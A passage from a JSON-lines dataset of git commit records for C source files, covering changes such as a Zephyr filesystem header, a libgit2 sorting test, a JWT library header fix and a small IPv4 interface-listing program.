defined(CONFIG_FILE_SYSTEM_LITTLEFS)\n#define MAX_FILE_NAME 256\n#elif defined(CONFIG_FAT_FILESYSTEM_ELM)\n#if defined(CONFIG_FS_FATFS_LFN)\n#define MAX_FILE_NAME CONFIG_FS_FATFS_MAX_LFN\n#else \/* CONFIG_FS_FATFS_LFN *\/\n#define MAX_FILE_NAME 12 \/* Uses 8.3 SFN *\/\n#endif \/* CONFIG_FS_FATFS_LFN *\/\n#else \/* filesystem selection *\/\n\/* Use standard 8.3 when no filesystem is explicitly selected *\/\n#define MAX_FILE_NAME 12\n#endif \/* filesystem selection *\/\n\nstruct fs_mount_t;\n\n\/**\n * @brief File object representing an open file\n *\n * @param Pointer to FATFS file object structure\n * @param mp Pointer to mount point structure\n *\/\nstruct fs_file_t {\n\tvoid *filep;\n\tconst struct fs_mount_t *mp;\n};\n\n\/**\n * @brief Directory object representing an open directory\n *\n * @param dirp Pointer to directory object structure\n * @param mp Pointer to mount point structure\n *\/\nstruct fs_dir_t {\n\tvoid *dirp;\n\tconst struct fs_mount_t *mp;\n};\n\n#ifdef __cplusplus\n}\n#endif\n\n#endif \/* ZEPHYR_INCLUDE_FS_FS_INTERFACE_H_ *\/\n","subject":"Set MAX_FILE_NAME appropiately with LFN and FATFS","message":"fs: Set MAX_FILE_NAME appropiately with LFN and FATFS\n\nTry to define MAX_FILE_NAME to the appropriate max length based on the\nselected filesystm. Otherwise fallback to a standard filename of 12\n(made up of 8.3 : <filename>.<extension>)\n\nSigned-off-by: Roman Vaughan <1620c2a00a7840d4515361aacd4b41348f2a8a7d@gmail.com>\n","lang":"C","license":"apache-2.0","repos":"galak\/zephyr,Vudentz\/zephyr,finikorg\/zephyr,galak\/zephyr,nashif\/zephyr,galak\/zephyr,zephyrproject-rtos\/zephyr,zephyrproject-rtos\/zephyr,nashif\/zephyr,Vudentz\/zephyr,finikorg\/zephyr,Vudentz\/zephyr,finikorg\/zephyr,Vudentz\/zephyr,nashif\/zephyr,Vudentz\/zephyr,nashif\/zephyr,zephyrproject-rtos\/zephyr,nashif\/zephyr,finikorg\/zephyr,galak\/zephyr,finikorg\/zephyr,galak\/zephyr,zephyrproject-rtos\/zephyr,Vudentz\/zephyr,zephyrproject-rtos\/zephyr"}
{"commit":"089c2d931b6b68dd82527430da51881d23bbd9a6","old_file":"tests\/t0403-lists.c","new_file":"tests\/t0403-lists.c","old_contents":"","new_contents":"#include \"test_lib.h\"\n#include \"test_helpers.h\"\n#include \"commit.h\"\n#include <git\/odb.h>\n#include <git\/commit.h>\n\nBEGIN_TEST(list_sort_test)\n\n    git_commit_list list;\n    git_commit_node *n;\n    int i, t;\n    time_t previous_time;\n\n#define TEST_SORTED() \\\n    previous_time = 0;\\\n    for (n = list.head; n != NULL; n = n->next)\\\n    {\\\n        must_be_true(n->commit->commit_time >= previous_time);\\\n        previous_time = n->commit->commit_time;\\\n    }\n\n    memset(&list, 0x0, sizeof(git_commit_list));\n    srand(time(NULL));\n\n    for (t = 0; t < 20; ++t)\n    {\n        const int test_size = rand() % 500 + 500;\n\n        \/\/ Purely random sorting test\n        for (i = 0; i < test_size; ++i)\n        {\n            git_commit *c = git__malloc(sizeof(git_commit));\n            c->commit_time = (time_t)rand();\n\n            git_commit_list_append(&list, c);\n        }\n\n        git_commit_list_sort(&list);\n        TEST_SORTED();\n        git_commit_list_clear(&list, 1);\n    }\n\n    \/\/ Try to sort list with all dates equal.\n    for (i = 0; i < 200; ++i)\n    {\n        git_commit *c = git__malloc(sizeof(git_commit));\n        c->commit_time = 0;\n\n        git_commit_list_append(&list, c);\n    }\n\n    git_commit_list_sort(&list);\n    TEST_SORTED();\n    git_commit_list_clear(&list, 1);\n\n    \/\/ Try to sort empty list\n    git_commit_list_sort(&list);\n    TEST_SORTED();\n\nEND_TEST\n","subject":"Add unit tests for list sorting.","message":"Add unit tests for list sorting.\n\nSigned-off-by: Vicent Marti <6838a7c51796da15c3e6eae80ee6aba806e8818a@gmail.com>\nSigned-off-by: Andreas Ericsson <1eabdaf488b3a3682bbca94c5f468f065cdfaf13@op5.se>\n","lang":"C","license":"lgpl-2.1","repos":"mingyaaaa\/libgit2,falqas\/libgit2,mhp\/libgit2,magnus98\/TEST,raybrad\/libit2,JIghtuse\/libgit2,yongthecoder\/libgit2,ardumont\/libgit2,amyvmiwei\/libgit2,jamieleecool\/ptest,maxiaoqian\/libgit2,swisspol\/DEMO-libgit2,skabel\/manguse,jeffhostetler\/public_libgit2,sim0629\/libgit2,spraints\/libgit2,sygool\/libgit2,iankronquist\/libgit2,sygool\/libgit2,joshtriplett\/libgit2,evhan\/libgit2,ardumont\/libgit2,claudelee\/libgit2,yosefhackmon\/libgit2,rcorre\/libgit2,Tousiph\/Demo1,MrHacky\/libgit2,leoyanggit\/libgit2,mrksrm\/Mingijura,raybrad\/libit2,jflesch\/libgit2-mariadb,swisspol\/DEMO-libgit2,leoyanggit\/libgit2,stewid\/libgit2,yosefhackmon\/libgit2,mrksrm\/Mingijura,nokiddin\/libgit2,leoyanggit\/libgit2,swisspol\/DEMO-libgit2,joshtriplett\/libgit2,saurabhsuniljain\/libgit2,Tousiph\/Demo1,Tousiph\/Demo1,jamieleecool\/ptest,nokiddin\/libgit2,sygool\/libgit2,whoisj\/libgit2,rcorre\/libgit2,swisspol\/DEMO-libgit2,nacho\/libgit2,spraints\/libgit2,kissthink\/libgit2,raybrad\/libit2,Snazz2001\/libgit2,mrksrm\/Mingijura,amyvmiwei\/libgit2,jflesch\/libgit2-mariadb,oaastest\/libgit2,skabel\/manguse,Corillian\/libgit2,swisspol\/DEMO-libgit2,mrksrm\/Mingijura,jeffhostetler\/public_libgit2,stewid\/libgit2,dleehr\/libgit2,KTXSoftware\/libgit2,evhan\/libgit2,claudelee\/libgit2,kenprice\/libgit2,magnus98\/TEST,yongthecoder\/libgit2,mcanthony\/libgit2,nacho\/libgit2,nokiddin\/libgit2,iankronquist\/libgit2,linquize\/libgit2,MrHacky\/libgit2,raybrad\/libit2,jeffhostetler\/public_libgit2,linquize\/libgit2,leoyanggit\/libgit2,linquize\/libgit2,chiayolin\/libgit2,Corillian\/libgit2,saurabhsuniljain\/libgit2,Aorjoa\/libgit2_maked_lib,maxiaoqian\/libgit2,rcorre\/libgit2,yongthecoder\/libgit2,Aorjoa\/libgit2_maked_lib,KTXSoftware\/libgit2,amyvmiwei\/libgit2,t0xicCode\/libgit2,spraints\/libgit2,dleehr\/libgit2,chiayolin\/libgit2,nokiddin\/libgit2,since2014\/libgit2,yosefhackmon\/libgit2,MrHacky\/libgit2,sim0629\/libgit2,t0xicCode\/libgit2,sygool\/libgit2,skabel\/manguse,claudelee\/libgit2,kenprice\/libgit2,skabel\/manguse,evhan\/libgit2,claudelee\/libgit2,Corillian\/libgit2,magnus98\/TEST,maxiaoqian\/libgit2,amyvmiwei\/libgit2,Snazz2001\/libgit2,Corillian\/libgit2,yongthecoder\/libgit2,mcanthony\/libgit2,saurabhsuniljain\/libgit2,jeffhostetler\/public_libgit2,yosefhackmon\/libgit2,iankronquist\/libgit2,stewid\/libgit2,since2014\/libgit2,since2014\/libgit2,swisspol\/DEMO-libgit2,mingyaaaa\/libgit2,magnus98\/TEST,mhp\/libgit2,t0xicCode\/libgit2,nokiddin\/libgit2,Tousiph\/Demo1,zodiac\/libgit2.js,KTXSoftware\/libgit2,ardumont\/libgit2,oaastest\/libgit2,mhp\/libgit2,maxiaoqian\/libgit2,stewid\/libgit2,stewid\/libgit2,ardumont\/libgit2,iankronquist\/libgit2,sim0629\/libgit2,MrHacky\/libgit2,Snazz2001\/libgit2,zodiac\/libgit2.js,yosefhackmon\/libgit2,dleehr\/libgit2,mhp\/libgit2,raybrad\/libit2,whoisj\/libgit2,chiayolin\/libgit2,dleehr\/libgit2,mhp\/libgit2,mrksrm\/Mingijura,mcanthony\/libgit2,saurabhsuniljain\/libgit2,JIghtuse\/libgit2,nacho\/libgit2,magnus98\/TEST,stewid\/libgit2,kissthink\/libgit2,linquize\/libgit2,iankronquist\/libgit2,jeffhostetler\/public_libgit2,joshtriplett\/libgit2,JIghtuse\/libgit2,nokiddin\/libgit2,yosefhackmon\/libgit2,whoisj\/libgit2,saurabhsuniljain\/libgit2,joshtriplett\/libgit2,Aorjoa\/libgit2_maked_lib,spraints\/libgit2,iankronquist\/libgit2,Aorjoa\/libgit2_maked_lib,linquize\/libgit2,kenprice\/libgit2,claudelee\/libgit2,skabel\/manguse,jflesch\/libgit2-mariadb,Tousiph\/Demo1,skabel\/manguse,JIghtuse\/libgit2,falqas\/libgit2,jeffhostetler\/public_libgit2,linquize\/libgit2,since2014\/libgit2,evhan\/libgit2,kissthink\/libgit2,zodiac\/libgit2.js,mhp\/libgit2,dleehr\/libgit2,mingyaaaa\/libgit2,chiayolin\/libgit2,kissthink\/libgit2,JIghtuse\/libgit2,kenprice\/libgit2,spraints\/libgit2,since2014\/libgit2,jamieleecool\/ptest,saurabhsuniljain\/libgit2,kenprice\/libgit2,zodiac\/libgit2.js,whoisj\/libgit2,amyvmiwei\/libgit2,Snazz2001\/libgit2,dleehr\/libgit2,JIghtuse\/libgit2,yongthecoder\/libgit2,sim0629\/libgit2,whoisj\/libgit2,claudelee\/libgit2,leoyanggit\/libgit2,sim0629\/libgit2,nacho\/libgit2,mingyaaaa\/libgit2,jamieleecool\/ptest,mcanthony\/libgit2,falqas\/libgit2,joshtriplett\/libgit2,mcanthony\/libgit2,jflesch\/libgit2-mariadb,falqas\/libgit2,jflesch\/libgit2-mariadb,KTXSoftware\/libgit2,mrksrm\/Mingijura,chiayolin\/libgit2,MrHacky\/libgit2,since2014\/libgit2,mingyaaaa\/libgit2,zodiac\/libgit2.js,whoisj\/libgit2,Snazz2001\/libgit2,falqas\/libgit2,oaastest\/libgit2,jflesch\/libgit2-mariadb,kissthink\/libgit2,t0xicCode\/libgit2,kissthink\/libgit2,maxiaoqian\/libgit2,mingyaaaa\/libgit2,rcorre\/libgit2,maxiaoqian\/libgit2,kenprice\/libgit2,Tousiph\/Demo1,ardumont\/libgit2,KTXSoftware\/libgit2,Corillian\/libgit2,sygool\/libgit2,oaastest\/libgit2,MrHacky\/libgit2,yongthecoder\/libgit2,sim0629\/libgit2,amyvmiwei\/libgit2,Aorjoa\/libgit2_maked_lib,chiayolin\/libgit2,Snazz2001\/libgit2,mcanthony\/libgit2,rcorre\/libgit2,oaastest\/libgit2,t0xicCode\/libgit2,Corillian\/libgit2,t0xicCode\/libgit2,falqas\/libgit2,leoyanggit\/libgit2,oaastest\/libgit2,rcorre\/libgit2,ardumont\/libgit2,magnus98\/TEST,spraints\/libgit2,KTXSoftware\/libgit2,sygool\/libgit2,joshtriplett\/libgit2"}
{"commit":"cfa41a9669ff7675bf6c92d4cbdf7e142c98e4ab","old_file":"subsys\/ChTerrain.h","new_file":"subsys\/ChTerrain.h","old_contents":"\/\/ =============================================================================\n\/\/ PROJECT CHRONO - http:\/\/projectchrono.org\n\/\/\n\/\/ Copyright (c) 2014 projectchrono.org\n\/\/ All right reserved.\n\/\/\n\/\/ Use of this source code is governed by a BSD-style license that can be found\n\/\/ in the LICENSE file at the top level of the distribution and at\n\/\/ http:\/\/projectchrono.org\/license-chrono.txt.\n\/\/\n\/\/ =============================================================================\n\/\/ Authors: Radu Serban\n\/\/ =============================================================================\n\/\/\n\/\/ Base class for a terrain subsystem.\n\/\/\n\/\/ =============================================================================\n\n#ifndef CH_TERRAIN_H\n#define CH_TERRAIN_H\n\n#include \"core\/ChShared.h\"\n\n#include \"subsys\/ChApiSubsys.h\"\n\n\nnamespace chrono {\n\n\nclass CH_SUBSYS_API ChTerrain : public ChShared {\npublic:\n  ChTerrain() {}\n  virtual ~ChTerrain() {}\n\n  virtual void Update(double time) {}\n  virtual void Advance(double step) {}\n\n  virtual double GetHeight(double x, double y) const = 0;\n};\n\n\n} \/\/ end namespace chrono\n\n\n#endif\n","new_contents":"\/\/ =============================================================================\n\/\/ PROJECT CHRONO - http:\/\/projectchrono.org\n\/\/\n\/\/ Copyright (c) 2014 projectchrono.org\n\/\/ All right reserved.\n\/\/\n\/\/ Use of this source code is governed by a BSD-style license that can be found\n\/\/ in the LICENSE file at the top level of the distribution and at\n\/\/ http:\/\/projectchrono.org\/license-chrono.txt.\n\/\/\n\/\/ =============================================================================\n\/\/ Authors: Radu Serban\n\/\/ =============================================================================\n\/\/\n\/\/ Base class for a terrain subsystem.\n\/\/\n\/\/ =============================================================================\n\n#ifndef CH_TERRAIN_H\n#define CH_TERRAIN_H\n\n#include \"core\/ChShared.h\"\n#include \"core\/ChVector.h\"\n\n#include \"subsys\/ChApiSubsys.h\"\n\n\nnamespace chrono {\n\n\nclass CH_SUBSYS_API ChTerrain : public ChShared {\npublic:\n  ChTerrain() {}\n  virtual ~ChTerrain() {}\n\n  virtual void Update(double time) {}\n  virtual void Advance(double step) {}\n\n  virtual double GetHeight(double x, double y) const = 0;\n\n  \/\/\/\/ TODO: make this a pure virtual function...\n  virtual ChVector<> GetNormal(double x, double y) const { return ChVector<>(0, 0, 1); }\n};\n\n\n} \/\/ end namespace chrono\n\n\n#endif\n","subject":"Add normal information to terrain.","message":"Add normal information to terrain.\n","lang":"C","license":"bsd-3-clause","repos":"hsu\/chrono-vehicle,hsu\/chrono-vehicle,hsu\/chrono-vehicle"}
{"commit":"d1bf4f823e8ed76801004d53a71d9f1257aeccd9","old_file":"pymue\/seen_table_wrapper.h","new_file":"pymue\/seen_table_wrapper.h","old_contents":"","new_contents":"#ifndef PYMUE_SEEN_TABLE_WRAPPER\n#define PYMUE_SEEN_TABLE_WRAPPER\n\n#include <memory>\n\n#include \"seen_table.h\"\n\nnamespace pymue {\n\n\n\tclass Seen_table_wrapper\n\t{\n\t\tprivate:\n\t\t\tstd::shared_ptr<mue::Seen_table> _seen_table;\n\n\t\t\tSeen_table_wrapper(mue::Seen_table&& seen_table)\n\t\t\t: _seen_table(new mue::Seen_table(std::move(seen_table)))\n\t\t\t{ }\n\n\t\tpublic:\n\t\t\tSeen_table_wrapper(int num_teams)\n\t\t\t: _seen_table(new mue::Seen_table(num_teams))\n\t\t\t{ }\n\n\t\t\tSeen_table_wrapper clone() const { return Seen_table_wrapper(_seen_table->clone()); }\n\n\t\t\tint generation() const { return _seen_table->generation(); }\n\t\t\tbool seen(mue::Team_id a, mue::Team_id b, mue::Team_id c) const { return _seen_table->seen(a, b, c); }\n\t\t\tvoid add_meeting(mue::Team_id a, mue::Team_id b, mue::Team_id c) { _seen_table->add_meeting(a, b, c); }\n\t\t\t\n\t};\n}\n\n\n#endif\n","subject":"Add a wrapper between Seen_table and pymue.SeenTable","message":"Add a wrapper between Seen_table and pymue.SeenTable\n\nThis is necessary because python-wrapped objects need a working copy\nonstructor but mue::Seen_table is not copy-constructable. The wrapper\nsolves this problem by sharing one instance of the Table between all\nCopies.\n\nSigned-off-by: Jan Losinski <577c4104c61edf9f052c616c0c23e67bef4a9955@wh2.tu-dresden.de>\n","lang":"C","license":"bsd-3-clause","repos":"janLo\/meet-and-eat-distribution-tool,eXma\/meet-and-eat-distribution-tool,eXma\/meet-and-eat-distribution-tool,eXma\/meet-and-eat-distribution-tool,janLo\/meet-and-eat-distribution-tool,janLo\/meet-and-eat-distribution-tool"}
{"commit":"5b8870f2f915415859e794b27d0bfd8d5521cf01","old_file":"include\/jwtxx\/jwt.h","new_file":"include\/jwtxx\/jwt.h","old_contents":"#pragma once\n\n#include <string>\n#include <memory>\n#include <stdexcept>\n\nnamespace JWTXX\n{\n\nenum class Algorithm {\n    HS256, HS384, HS512,\n    RS256, RS384, RS512,\n    ES256, ES384, ES512,\n    none\n};\n\nclass Key\n{\n    public:\n        struct Error : std::runtime_error\n        {\n            Error(const std::string& message) : runtime_error(error) {}\n        };\n\n        Key(Algorithm alg, const std::string& keyData);\n\n        std::string sign(const void* data, size_t size) const;\n        bool verify(const void* data, size_t size, const std::string& signature) const;\n\n        struct Impl;\n    private:\n        std::unique_ptr<Impl> m_impl;\n};\n\nclass JWT\n{\n    public:\n        typedef std::unordered_map<std::string, std::string> Pairs;\n\n        JWT(const std::string& token, Key key);\n        JWT(Algorithm alg, Pairs claims, Pairs header = Pairs());\n\n        Algorithm alg() const { return m_alg; }\n        const Pairs& claims() const { return m_claims; }\n        const Pairs& header() const { return m_header; }\n\n        std::string claim(const std::string& name) const;\n\n        std::string token(const std::string& keyData) const;\n\n    private:\n        Algorithm m_alg;\n        Pairs m_header;\n        Pairs m_claims;\n};\n\n}\n","new_contents":"#pragma once\n\n#include <string>\n#include <unordered_map>\n#include <memory>\n#include <stdexcept>\n\nnamespace JWTXX\n{\n\nenum class Algorithm {\n    HS256, HS384, HS512,\n    RS256, RS384, RS512,\n    ES256, ES384, ES512,\n    none\n};\n\nclass Key\n{\n    public:\n        struct Error : std::runtime_error\n        {\n            Error(const std::string& message) : runtime_error(message) {}\n        };\n\n        Key(Algorithm alg, const std::string& keyData);\n\n        std::string sign(const void* data, size_t size) const;\n        bool verify(const void* data, size_t size, const std::string& signature) const;\n\n        struct Impl;\n    private:\n        std::unique_ptr<Impl> m_impl;\n};\n\nclass JWT\n{\n    public:\n        typedef std::unordered_map<std::string, std::string> Pairs;\n\n        JWT(const std::string& token, Key key);\n        JWT(Algorithm alg, Pairs claims, Pairs header = Pairs());\n\n        Algorithm alg() const { return m_alg; }\n        const Pairs& claims() const { return m_claims; }\n        const Pairs& header() const { return m_header; }\n\n        std::string claim(const std::string& name) const;\n\n        std::string token(const std::string& keyData) const;\n\n    private:\n        Algorithm m_alg;\n        Pairs m_header;\n        Pairs m_claims;\n};\n\n}\n","subject":"Add missing include, fix variable name.","message":"Add missing include, fix variable name.\n","lang":"C","license":"mit","repos":"RealImage\/jwtxx,RealImage\/jwtxx,madf\/jwtxx,madf\/jwtxx"}
{"commit":"d7d1fe663dfb6df05530b490fa4b2973bec77afc","old_file":"test\/small2\/metabug3.c","new_file":"test\/small2\/metabug3.c","old_contents":"","new_contents":"#include \"..\/small1\/testharness.h\"\n#include \"..\/small1\/testkinds.h\"\n\n#ifndef ERROR \n#define __WILD\n#endif\n\n\/\/ NUMERRORS 1\ntypedef struct foo Foo;\nstruct bar\n{\n  Foo * __WILD next;\n};\nstruct foo\n{\n  int *base;\n  unsigned int length;\n  struct bar link;\n};\nint main()\n{\n  struct foo s, *sptr = &s;\n  if(HAS_KIND(sptr->base, WILD_KIND)) E(1); \/\/ERROR(1):Error 1\n}\n","subject":"Add a new testcase where a points-to or esafe edge is not being added properly","message":"Add a new testcase where a points-to or esafe edge is not being added\nproperly\n","lang":"C","license":"bsd-3-clause","repos":"samuelhavron\/obliv-c,samuelhavron\/obliv-c,samuelhavron\/obliv-c,samuelhavron\/obliv-c"}
{"commit":"ceed4a562f9e38f383c80035e9a59a42bc3363dd","old_file":"test2\/structs\/lvalue\/cant.c","new_file":"test2\/structs\/lvalue\/cant.c","old_contents":"","new_contents":"\/\/ RUN: %check -e %s\n\nmain()\n{\n\tstruct A\n\t{\n\t\tint i;\n\t} a, b, c;\n\n\ta = b ? : c; \/\/ CHECK: error: struct involved in if-expr\n}\n","subject":"Test for struct in GNU ?: expressions","message":"Test for struct in GNU ?: expressions\n","lang":"C","license":"mit","repos":"8l\/ucc-c-compiler,8l\/ucc-c-compiler,8l\/ucc-c-compiler,8l\/ucc-c-compiler"}
{"commit":"506b70663d252ee7a184356634d98789e25d747e","old_file":"lib.h","new_file":"lib.h","old_contents":"#define NULL ((void *)0)\n\n#define MIN(_a, _b)             \\\n  ({                            \\\n    __typeof__(_a) __a = (_a);  \\\n    __typeof__(_b) __b = (_b);  \\\n    __a <= __b ? __a : __b;     \\\n  })\n\n#define MAX(_a, _b)             \\\n  ({                            \\\n    __typeof__(_a) __a = (_a);  \\\n    __typeof__(_b) __b = (_b);  \\\n    __a >= __b ? __a : __b;     \\\n  })\n\n#define NELEM(x) (sizeof(x)\/sizeof((x)[0]))\n\n#define cmpswap(ptr, old, new) __sync_bool_compare_and_swap(ptr, old, new)\n#define subfetch(ptr, val)     __sync_sub_and_fetch(ptr, val)\n#define fetchadd(ptr, val)     __sync_fetch_and_add(ptr, val)\n#define __offsetof             offsetof\n","new_contents":"#ifndef NULL\n#define NULL ((void *)0)\n#endif\n\n#define MIN(_a, _b)             \\\n  ({                            \\\n    __typeof__(_a) __a = (_a);  \\\n    __typeof__(_b) __b = (_b);  \\\n    __a <= __b ? __a : __b;     \\\n  })\n\n#define MAX(_a, _b)             \\\n  ({                            \\\n    __typeof__(_a) __a = (_a);  \\\n    __typeof__(_b) __b = (_b);  \\\n    __a >= __b ? __a : __b;     \\\n  })\n\n#define NELEM(x) (sizeof(x)\/sizeof((x)[0]))\n\n#define cmpswap(ptr, old, new) __sync_bool_compare_and_swap(ptr, old, new)\n#define subfetch(ptr, val)     __sync_sub_and_fetch(ptr, val)\n#define fetchadd(ptr, val)     __sync_fetch_and_add(ptr, val)\n#define __offsetof             offsetof\n","subject":"Check ifndef NULL before define NULL, because clang stddef.h defines NULL","message":"Check ifndef NULL before define NULL, because clang stddef.h defines NULL\n","lang":"C","license":"mit","repos":"aclements\/sv6,bowlofstew\/sv6,bowlofstew\/sv6,aclements\/sv6,aclements\/sv6,aclements\/sv6,bowlofstew\/sv6,bowlofstew\/sv6,aclements\/sv6,bowlofstew\/sv6"}
{"commit":"22507075f4c60981ee33a27037b36fba153d6fac","old_file":"lsip.c","new_file":"lsip.c","old_contents":"","new_contents":"#include <arpa\/inet.h>\n#include <net\/if.h>\n#include <netinet\/in.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <sys\/ioctl.h>\n#include <sys\/socket.h>\n#include <sys\/types.h>\n#include <unistd.h>\n\n#if INET_ADDRSTRLEN > INET6_ADDRSTRLEN\n#define BUF_LEN #INET_ADDRSTRLEN\n#else\n#define BUF_LEN INET6_ADDRSTRLEN\n#endif\n\nint main() {\n    if (access(\"\/proc\/net\", R_OK)) {\n        goto errorout;\n    }\n    if (access(\"\/proc\/net\/if_inet6\", R_OK)) {\n        goto errorout;\n    }\n    int ipv4_fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_IP);\n    if (ipv4_fd == -1) {\n        goto errorout;\n    }\n\n    struct ifconf stuff;\n    stuff.ifc_len = 0;\n    stuff.ifc_buf = NULL;\n\n    if (ioctl(ipv4_fd, SIOCGIFCONF, &stuff)) {\n        goto errorout;\n    }\n    if (!(stuff.ifc_buf = malloc(stuff.ifc_len))) {\n        goto errorout;\n    }\n    if (ioctl(ipv4_fd, SIOCGIFCONF, &stuff)) {\n        goto errorout;\n    }\n\n    int i, len;\n    char addr[BUF_LEN];\n\n    for (i = 0, len = stuff.ifc_len \/ sizeof(struct ifreq); i < len; ++i) {\n        if (!strncmp(stuff.ifc_req[i].ifr_name, \"lo\", 2)) { continue; }\n        struct sockaddr_in *sockaddr =  (struct sockaddr_in*) &stuff.ifc_req[i].ifr_addr;\n        printf(\"%s\\t%s\\n\", inet_ntop(AF_INET, &sockaddr->sin_addr, addr, BUF_LEN), stuff.ifc_req[i].ifr_name);\n    }\n\n    return 0;\n\nerrorout:\n    perror(\"something went wrong\");\n    exit(EXIT_FAILURE);\n}\n","subject":"Add initial code to list IPv4 addresses","message":"Add initial code to list IPv4 addresses\n","lang":"C","license":"mit","repos":"kamalmarhubi\/lsaddr"}
{"commit":"c46c6a4191ef841fb9e5c852985cbaef31846329","old_file":"scipy\/fftpack\/src\/zfftnd.c","new_file":"scipy\/fftpack\/src\/zfftnd.c","old_contents":"\/*\n  Interface to various FFT libraries.\n  Double complex FFT and IFFT, arbitrary dimensions.\n  Author: Pearu Peterson, August 2002\n *\/\n#include \"fftpack.h\"\n\n\/* The following macro convert private backend specific function to the public\n * functions exported by the module  *\/\n#define GEN_PUBLIC_API(name) \\\nvoid destroy_zfftnd_cache(void)\\\n{\\\n        destroy_zfftnd_##name##_caches();\\\n}\\\n\\\nvoid zfftnd(complex_double * inout, int rank,\\\n\t\t           int *dims, int direction, int howmany, int normalize)\\\n{\\\n        zfftnd_##name(inout, rank, dims, direction, howmany, normalize);\\\n}\n\n#if defined(WITH_FFTW) || defined(WITH_MKL)\nstatic\nint equal_dims(int rank,int *dims1,int *dims2) {\n  int i;\n  for (i=0;i<rank;++i)\n    if (dims1[i]!=dims2[i])\n      return 0;\n  return 1;\n}\n#endif\n\n#ifdef WITH_FFTW3\n    #include \"zfftnd_fftw3.c\"\n    GEN_PUBLIC_API(fftw3)\n#elif defined WITH_FFTW\n    #include \"zfftnd_fftw.c\"\n    GEN_PUBLIC_API(fftw)\n#elif defined WITH_MKL\n    #include \"zfftnd_mkl.c\"\n    GEN_PUBLIC_API(mkl)\n#else \/* Use fftpack by default *\/\n    #include \"zfftnd_fftpack.c\"\n    GEN_PUBLIC_API(fftpack)\n#endif\n","new_contents":"\/*\n  Interface to various FFT libraries.\n  Double complex FFT and IFFT, arbitrary dimensions.\n  Author: Pearu Peterson, August 2002\n *\/\n#include \"fftpack.h\"\n\n\/* The following macro convert private backend specific function to the public\n * functions exported by the module  *\/\n#define GEN_PUBLIC_API(name) \\\nvoid destroy_zfftnd_cache(void)\\\n{\\\n        destroy_zfftnd_##name##_caches();\\\n}\\\n\\\nvoid zfftnd(complex_double * inout, int rank,\\\n\t\t           int *dims, int direction, int howmany, int normalize)\\\n{\\\n        zfftnd_##name(inout, rank, dims, direction, howmany, normalize);\\\n}\n\n#include \"zfftnd_fftpack.c\"\nGEN_PUBLIC_API(fftpack)\n","subject":"Remove any non-fftpack code for complex, multi-dimension fft.","message":"Remove any non-fftpack code for complex, multi-dimension fft.\n","lang":"C","license":"bsd-3-clause","repos":"lhilt\/scipy,zaxliu\/scipy,behzadnouri\/scipy,andyfaff\/scipy,andim\/scipy,newemailjdm\/scipy,gef756\/scipy,jor-\/scipy,fernand\/scipy,witcxc\/scipy,Eric89GXL\/scipy,behzadnouri\/scipy,futurulus\/scipy,gef756\/scipy,gfyoung\/scipy,ogrisel\/scipy,mdhaber\/scipy,maciejkula\/scipy,bkendzior\/scipy,ilayn\/scipy,chatcannon\/scipy,aarchiba\/scipy,cpaulik\/scipy,juliantaylor\/scipy,pyramania\/scipy,felipebetancur\/scipy,jseabold\/scipy,juliantaylor\/scipy,Dapid\/scipy,minhlongdo\/scipy,haudren\/scipy,petebachant\/scipy,fernand\/scipy,sargas\/scipy,jsilter\/scipy,minhlongdo\/scipy,jor-\/scipy,mingwpy\/scipy,felipebetancur\/scipy,maciejkula\/scipy,vhaasteren\/scipy,matthewalbani\/scipy,mortonjt\/scipy,niknow\/scipy,pschella\/scipy,vberaudi\/scipy,felipebetancur\/scipy,mortada\/scipy,vanpact\/scipy,zxsted\/scipy,FRidh\/scipy,aman-iitj\/scipy,ales-erjavec\/scipy,maciejkula\/scipy,zerothi\/scipy,perimosocordiae\/scipy,jamestwebber\/scipy,jor-\/scipy,jakevdp\/scipy,sauliusl\/scipy,vigna\/scipy,ales-erjavec\/scipy,mgaitan\/scipy,vberaudi\/scipy,fernand\/scipy,chatcannon\/scipy,mortonjt\/scipy,dominicelse\/scipy,juliantaylor\/scipy,mingwpy\/scipy,dominicelse\/scipy,WillieMaddox\/scipy,mingwpy\/scipy,surhudm\/scipy,sriki18\/scipy,anntzer\/scipy,piyush0609\/scipy,matthewalbani\/scipy,mdhaber\/scipy,surhudm\/scipy,pyramania\/scipy,juliantaylor\/scipy,Kamp9\/scipy,sauliusl\/scipy,apbard\/scipy,aarchiba\/scipy,richardotis\/scipy,aeklant\/scipy,raoulbq\/scipy,sargas\/scipy,aman-iitj\/scipy,sonnyhu\/scipy,mortada\/scipy,trankmichael\/scipy,Kamp9\/scipy,kleskjr\/scipy,jakevdp\/scipy,ales-erjavec\/scipy,lukauskas\/scipy,giorgiop\/scipy,hainm\/scipy,cpaulik\/scipy,pnedunuri\/scipy,Stefan-Endres\/scipy,giorgiop\/scipy,zerothi\/scipy,mgaitan\/scipy,Dapid\/scipy,ales-erjavec\/scipy,hainm\/scipy,newemailjdm\/scipy,jsilter\/scipy,matthew-brett\/scipy,nvoron23\/scipy,rgommers\/scipy,lhilt\/scipy,befelix\/scipy,nmayorov\/scipy,minhlongdo\/scipy,bkendzior\/scipy,endolith\/scipy,andyfaff\/scipy,nvoron23\/scipy,behzadnouri\/scipy,kleskjr\/scipy,haudren\/scipy,gfyoung\/scipy,sonnyhu\/scipy,vhaasteren\/scipy,raoulbq\/scipy,dch312\/scipy,FRidh\/scipy,perimosocordiae\/scipy,woodscn\/scipy,aeklant\/scipy,aman-iitj\/scipy,pizzathief\/scipy,mgaitan\/scipy,pschella\/scipy,newemailjdm\/scipy,mgaitan\/scipy,mhogg\/scipy,kleskjr\/scipy,jor-\/scipy,rgommers\/scipy,sonnyhu\/scipy,dominicelse\/scipy,mikebenfield\/scipy,anntzer\/scipy,witcxc\/scipy,jakevdp\/scipy,zxsted\/scipy,e-q\/scipy,petebachant\/scipy,richardotis\/scipy,nmayorov\/scipy,rmcgibbo\/scipy,gfyoung\/scipy,pbrod\/scipy,njwilson23\/scipy,anntzer\/scipy,gfyoung\/scipy,vberaudi\/scipy,grlee77\/scipy,richardotis\/scipy,ilayn\/scipy,lukauskas\/scipy,matthew-brett\/scipy,andim\/scipy,nvoron23\/scipy,vhaasteren\/scipy,larsmans\/scipy,vigna\/scipy,person142\/scipy,trankmichael\/scipy,lukauskas\/scipy,matthewalbani\/scipy,Stefan-Endres\/scipy,ChanderG\/scipy,gfyoung\/scipy,befelix\/scipy,mortonjt\/scipy,apbard\/scipy,witcxc\/scipy,argriffing\/scipy,pnedunuri\/scipy,sauliusl\/scipy,cpaulik\/scipy,pyramania\/scipy,WarrenWeckesser\/scipy,piyush0609\/s